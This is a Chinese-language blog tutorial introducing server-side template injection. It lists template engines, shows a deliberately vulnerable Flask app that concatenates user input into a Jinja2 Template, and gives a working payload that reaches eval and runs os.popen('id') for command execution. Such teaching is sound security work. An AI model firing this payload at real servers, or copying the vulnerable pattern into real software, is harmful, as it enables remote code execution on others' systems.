Sud0G
Sud0G
发布于 2024-07-13 / 52 阅读
0
0

SSTI模板注入基础

简介

模板注入漏洞的英文全称为Sever Side Template Injection,服务端模板注入. 该漏洞是服务端接收了用户的输入,将其作为Web应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,通常情况下会造成敏感信息泄露、代码执行、GetShell的危害. 其影响范围主要取决于模板引擎的复杂性.常见的模板引擎如下:

Engine

Language

jinjia2

Python

Mako

Python

Tomado

Python

Django

Python

(code eval)

Python

(code exec)

Python

Smarty

PHP

Smarty(secure mode)

PHP

Twig

PHP

(code eval)

PHP

FreeMarker

Java

Welocity

Java

Thymeleaf

Java

Groovy

Java

jade

Java

jade

Nodejs

Nunjucks

JavaScript

doT

JavaScript

Marko

JavaScript

Dust

JavaScript

EJS

JavaScript

(code eval)

JavaScript

vuejs

JavaScript

Slim

Ruby

ERB

Ruby

(code eval)

Ruby

go

go

通常测试模块类型的方式入下:

为什么会使用到模板

MTV(Model Template View)的开发模式经常会用到模板(Template).

模型(Model)用来对数据进行操作,视图(view)用来处理业务逻辑

模板(Template)负责将页面展示给用户

核心:前后端分离, 方便开发/移植

MTV图解

Django Web框架

SSTI初体验

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)


@app.route("/")
def index():
    # 从请求参数中获取名为"name"的值,如果不存在则默认为"guest"
    name = request.args.get("name", "guest")
    # 初始化模板,将获取到的姓名或默认姓名插入到模板中
    t = Template("Hello " + name)
    # 渲染模板并返回
    return t.render()


if __name__ == "__main__":
    app.run(debug=True)

这时候我们输入一个payload试一下效果

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

因为在windows上测试,我们可以改一下指令,比如dir

SSTI基础

jinjia2模板语法

简介

jinjia2是一个现代的,设计者有好的,仿照Django模板的Python模板语言. 它速度快,被广泛使用,并且提供了可选的沙箱的模板执行环境保证安全.

Flask中就使用了jinjia2来进行模板相关的操作.

学习理由

Jinjia2应用较广(比如说Flask和saltstack都采用jinjia2), 而且语法跟大多数模板语言语法相似/相同(例如Django), 具有通用性.

1. 变量表示

{{test}} test为变量

{{7 * 7}} 会计算出结果,但是当计算符号为+-时,需要进行url编码,否则会被认定为空格

2. for循环

{% for a in b %}

dosomething

{% endfor %}

特别像python的for循环

3. if判断

{% if true %}

dosomething

{% elif false %}

dosomething

{% else %}

dosomething

{% endif %}

这些也是类似if语句


评论